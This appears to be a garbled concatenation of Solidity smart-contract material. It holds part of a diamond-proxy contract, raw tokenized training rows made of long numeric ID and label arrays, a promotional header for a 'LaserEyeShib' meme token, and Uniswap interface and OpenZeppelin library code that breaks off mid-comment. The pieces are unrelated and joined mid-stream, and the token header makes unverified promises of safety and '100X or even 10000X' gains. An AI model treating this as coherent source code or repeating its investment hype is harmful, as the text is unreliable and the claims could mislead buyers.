function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
contract DiamondLoupeFacet is DiamondLoupe, StorageContract_Proxy
{
/// These functions are expected to be called frequently
/// by tools. Therefore the return values are tightly
/// packed for efficiency. That means no padding with zeros.
struct Facet
{
address facet;
bytes4[] functionSelectors;
}
/// @notice Gets all facets and their selectors.
/// @return An array of bytes arrays containing each facet
/// and each facet's selectors.
/// The return value is tightly packed.
/// That means no padding with zeros.
/// Here is the structure of the return value:
/// returnValue = [
/// abi.encodePacked(facet, sel1, sel2, sel3, ...),
/// abi.encodePacked(facet, sel1, sel2, sel3, ...),
/// ...
/// ]
/// facet is the address of a facet.
/// sel1, sel2, sel3 etc. are four-byte function selectors.
function facets(
) external view override returns(bytes[] memory)
{
DiamondStorage_Proxy storage ds = diamondStorage_Proxy();
uint totalSelectorSlots = ds.selectorSlotsLength;
uint selectorSlotLength = uint128(totalSelectorSlots >> 128);
totalSelectorSlots = uint128(totalSelectorSlots);
uint totalSelectors = totalSelectorSlots * 8 + selectorSlotLength;
if(selectorSlotLength > 0)
{
totalSelectorSlots++;
}
// get default size of arrays
uint defaultSize = totalSelectors;
if(defaultSize > 20)
{
defaultSize = 20;
}
Facet[] memory facets_ = new Facet[](defaultSize);
uint8[] memory numFacetSelectors = new uint8[](defaultSize);
uint numFacets;
uint selectorCount;
// loop through function selectors
for(uint slotIndex; selectorCount < totalSelectors; slotIndex++)
{
bytes32 slot = ds.selectorSlots[slotIndex];
for(uint selectorIndex; selectorIndex < 8; selectorIndex++)
{
selectorCount++;
if(selectorCount > totalSelectors)
{
break;
}
bytes4 selector = bytes4(slot << selectorIndex * 32);
address facet = address(bytes20(ds.facets[selector]));
bool continueLoop = false;
for(uint facetIndex; facetIndex < numFacets; facetIndex++)
{
if(facets_[facetIndex].facet == facet)
{
uint arrayLength = facets_[facetIndex].functionSelectors.length;
// if array is too small then enlarge it
if(numFacetSelectors[facetIndex]+1 > arrayLength)
{
bytes4[] memory biggerArray = new bytes4[](arrayLength + defaultSize);
// copy contents of old array
for(uint i; i < arrayLength; i++)
{
biggerArray[i] = facets_[facetIndex].functionSelectors[i];
}
facets_[facetIndex].functionSelectors = biggerArray;
}
facets_[facetIndex].functionSelectors[numFacetSelectors[facetIndex]] = selector;
// probably will never have more than 255 functions from one facet contract
require(numFacetSelectors[facetIndex] < 255);
numFacetSelectors[facetIndex]++;
continueLoop = true;
break;
}
}
if(continueLoop)
{
continueLoop = false;
continue;
}
uint arrayLength = facets_.length;
// if array is too small then enlarge it
if(numFacets+1 > arrayLength)
{
Facet[] memory biggerArray = new Facet[](arrayLength + defaultSize);
uint8[] memory biggerArray2 = new uint8[](arrayLength + defaultSize);
for(uint i; i < arrayLength; i++)
{
biggerArray[i] = facets_[i];
biggerArray2[i] = numFacetSelectors[i];
}
facets_ = biggerArray;
numFacetSelectors = biggerArray2;
}
facets_[numFacets].facet = facet;
facets_[numFacets].functionSelectors = new bytes4[](defaultSize);
facets_[numFacets].functionSelectors[0] = selector;
numFacetSelectors[numFacets] = 1;
numFacets++;
}
}
bytes[] memory returnFacets = new bytes[](numFacets);
for(uint facetIndex; facetIndex < numFacets; facetIndex++)
{
uint numSelectors = numFacetSelectors[facetIndex];
bytes memory selectorsBytes = new bytes(4 * numSelectors);
bytes4[] memory selectors = facets_[facetIndex].functionSelectors;
uint bytePosition;
for(uint i; i < numSelectors; i++)
{
for(uint j; j < 4; j++)
{
selectorsBytes[bytePosition] = byte(selectors[i] << j * 8);
bytePosition++;
}
}
returnFacets[facetIndex] = abi.encodePacked(facets_[facetIndex].facet, selectorsBytes);
}
return returnFacets;
}
/// @notice Gets all the function selectors supported by a specific facet.
/// @param _facet The facet address.
/// @return A bytes array of function selectors.
/// The return value is tightly packed. Here is an example:
/// return abi.encodePacked(selector1, selector2, selector3, ...)
function facetFunctionSelectors(
address _facet
) external view override returns(bytes memory)
{
DiamondStorage_Proxy storage ds = diamondStorage_Proxy();
uint totalSelectorSlots = ds.selectorSlotsLength;
uint selectorSlotLength = uint128(totalSelectorSlots >> 128);
totalSelectorSlots = uint128(totalSelectorSlots);
uint totalSelectors = totalSelectorSlots * 8 + selectorSlotLength;
if(selectorSlotLength > 0)
{
totalSelectorSlots++;
}
uint numFacetSelectors;
bytes4[] memory facetSelectors = new bytes4[](totalSelectors);
uint selectorCount;
// loop through function selectors
for(uint slotIndex; selectorCount < totalSelectors; slotIndex++)
{
bytes32 slot = ds.selectorSlots[slotIndex];
for(uint selectorIndex; selectorIndex < 8; selectorIndex++)
{
selectorCount++;
if(selectorCount > totalSelectors)
{
break;
}
bytes4 selector = bytes4(slot << selectorIndex * 32);
address facet = address(bytes20(ds.facets[selector]));
if(_facet == facet)
{
facetSelectors[numFacetSelectors] = selector;
numFacetSelectors++;
}
}
}
bytes memory returnBytes = new bytes(4 * numFacetSelectors);
uint bytePosition;
for(uint i; i < numFacetSelectors; i++)
{
for(uint j; j < 4; j++)
{
returnBytes[bytePosition] = byte(facetSelectors[i] << j * 8);
bytePosition++;
}
}
return returnBytes;
}
/// @notice Get all the facet addresses used by a diamond.
/// @return A byte array of tightly packed facet addresses.
/// Example return value:
/// return abi.encodePacked(facet1, facet2, facet3, ...)
function facetAddresses(
) external view override returns(bytes memory)
{
DiamondStorage_Proxy storage ds = diamondStorage_Proxy();
uint totalSelectorSlots = ds.selectorSlotsLength;
uint selectorSlotLength = uint128(totalSelectorSlots >> 128);
totalSelectorSlots = uint128(totalSelectorSlots);
uint totalSelectors = totalSelectorSlots * 8 + selectorSlotLength;
if(selectorSlotLength > 0)
{
totalSelectorSlots++;
}
address[] memory facets_ = new address[](totalSelectors);
uint numFacets;
uint selectorCount;
// loop through function selectors
for(uint slotIndex; selectorCount < totalSelectors; slotIndex++)
{
bytes32 slot = ds.selectorSlots[slotIndex];
for(uint selectorIndex; selectorIndex < 8; selectorIndex++)
{
selectorCount++;
if(selectorCount > totalSelectors)
{
break;
}
bytes4 selector = bytes4(slot << selectorIndex * 32);
address facet = address(bytes20(ds.facets[selector]));
bool continueLoop = false;
for(uint facetIndex; facetIndex < numFacets; facetIndex++)
{
if(facet == facets_[facetIndex])
{
continueLoop = true;
break;
}
}
if(continueLoop)
{
continueLoop = false;
continue;
}
facets_[numFacets] = facet;
numFacets++;
}
}
bytes memory returnBytes = new bytes(20 * numFacets);
uint bytePosition;
for(uint i; i < numFacets; i++)
{
for(uint j; j < 20; j++)
{
returnBytes[bytePosition] = byte(bytes20(facets_[i]) << j * 8);
bytePosition++;
}
}
return returnBytes;
}
/// @notice Gets the facet that supports the given selector.
/// @dev If facet is not found return address(0).
/// @param _functionSelector The function selector.
/// @return The facet address.
function facetAddress(
bytes4 _functionSelector
) external view override returns(address)
{
DiamondStorage_Proxy storage ds = diamondStorage_Proxy();
return address(bytes20(ds.facets[_functionSelector]));
}
}
contract TutorialProxy is
Owned,
StorageContract_Proxy
{
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(
) public
{
emit OwnershipTransferred(address(0), msg.sender);
// Whitelist the contract creator
DiamondStorage_Authentication storage ds_Authentication = diamondStorage_Authentication();
ds_Authentication.whitelistedUsers[msg.sender] = true;
// Create a DiamondFacet contract which implements the Diamond interface
DiamondFacet diamondFacet = new DiamondFacet();
// Create a DiamondLoupeFacet contract which implements the Diamond Loupe interface
DiamondLoupeFacet diamondLoupeFacet = new DiamondLoupeFacet();
bytes[] memory diamondCut = new bytes[](3);
// Adding cut function
diamondCut[0] = abi.encodePacked(diamondFacet, Diamond.diamondCut.selector);
// Adding diamond loupe functions
diamondCut[1] = abi.encodePacked(
diamondLoupeFacet,
DiamondLoupe.facetFunctionSelectors.selector,
DiamondLoupe.facets.selector,
DiamondLoupe.facetAddress.selector,
DiamondLoupe.facetAddresses.selector
);
// Adding supportsInterface function
diamondCut[2] = abi.encodePacked(address(this), ERC165.supportsInterface.selector);
// execute cut function
bytes memory cutFunction = abi.encodeWithSelector(Diamond.diamondCut.selector, diamondCut);
(bool success,) = address(diamondFacet).delegatecall(cutFunction);
require(success, "Adding functions failed.");
// adding ERC165 data
DiamondStorage_Proxy storage ds_Proxy = diamondStorage_Proxy();
ds_Proxy.supportedInterfaces[ERC165.supportsInterface.selector] = true;
ds_Proxy.supportedInterfaces[Diamond.diamondCut.selector] = true;
bytes4 interfaceID = DiamondLoupe.facets.selector ^ DiamondLoupe.facetFunctionSelectors.selector ^ DiamondLoupe.facetAddresses.selector ^ DiamondLoupe.facetAddress.selector;
ds_Proxy.supportedInterfaces[interfaceID] = true;
}
// This is an immutable functions because it is defined directly in the diamond.
// This implements ERC-165.
function supportsInterface(
bytes4 _interfaceID
) external view returns (bool)
{
DiamondStorage_Proxy storage ds = diamondStorage_Proxy();
return ds.supportedInterfaces[_interfaceID];
}
// Finds facet for function that is called and executes the
// function if it is found and returns any value.
fallback() external payable
{
DiamondStorage_Proxy storage ds = diamondStorage_Proxy();
address facet = address(bytes20(ds.facets[msg.sig]));
require(facet != address(0), "Function does not exist.");
assembly
{
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize())
let result := delegatecall(gas(), facet, ptr, calldatasize(), 0, 0)
let size := returndatasize()
returndatacopy(ptr, 0, size)
switch result
case 0 {revert(ptr, size)}
default {return (ptr, size)}
}
}
receive() external payable {}
}
| get default size of arrays | uint defaultSize = totalSelectors;
| 6,452,973 | [
1,
588,
805,
963,
434,
5352,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
2254,
805,
1225,
273,
2078,
19277,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/80001/0xf9BfC5BC275822011BBf501E8Bfb8fBea651CB22/sources/src/position.sol | import "./lib/utils/introspection/ERC165.sol"; | import "../lib/lib/utils/introspection/ERC165Storage.sol";
| 5,632,712 | [
1,
5666,
25165,
2941,
19,
5471,
19,
474,
26362,
19,
654,
39,
28275,
18,
18281,
14432,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5666,
315,
6216,
2941,
19,
2941,
19,
5471,
19,
474,
26362,
19,
654,
39,
28275,
3245,
18,
18281,
14432,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/*
Welcome to $LaserEyeShib
I'm doing a social experiment and thanks for joining me:
This is a community token. So there is no official group.
If someone wants to create one , just do your publicity in other groups, and then establish a consensus group.
There is only one channel recording the information when I released this coin.
If you want to view all the information about this coin, please check https://t.me/LaserEyeShib
I'll lock liquidity LPs through team.finance for at least 30 days, if the response is good, I will extend the time.
I'll renounce the ownership to burn addresses to transfer $LaserEyeShib to the community, make sure it's 100% safe.
It's a community token, every holder should promote it, or create a group for it, if you want to pump your investment, you need to do some effort.
Great features:
1.Fair Launch!
2.No Dev Tokens No mint code No Backdoor
3.Anti-sniper & Anti-bot scripting
4.Anti-whale Max buy/sell limit
5.LP send to team.finance for 30days, if the response is good, I will continue to extend it
6.Contract renounced on Launch!
7.1000 Billion Supply and 50% to burn address!
8.Auto-farming to All Holders!
9.Tax: 8% => Burn: 4% | LP: 4%
4% fee for liquidity will go to an address that the contract creates,
and the contract will sell it and add to liquidity automatically,
it's the best part of the $LaserEyeShib idea, increasing the liquidity pool automatically.
I’m gonna put all my coins with 9ETH in the pool.
Can you make this token 100X or even 10000X?
Hope you guys have real diamond hand
*/
// SPDX-License-Identifier: MIT
// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed operator, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address operator) external view returns (uint);
function allowance(address operator, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address operator) external view returns (uint);
function permit(address operator, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol
pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
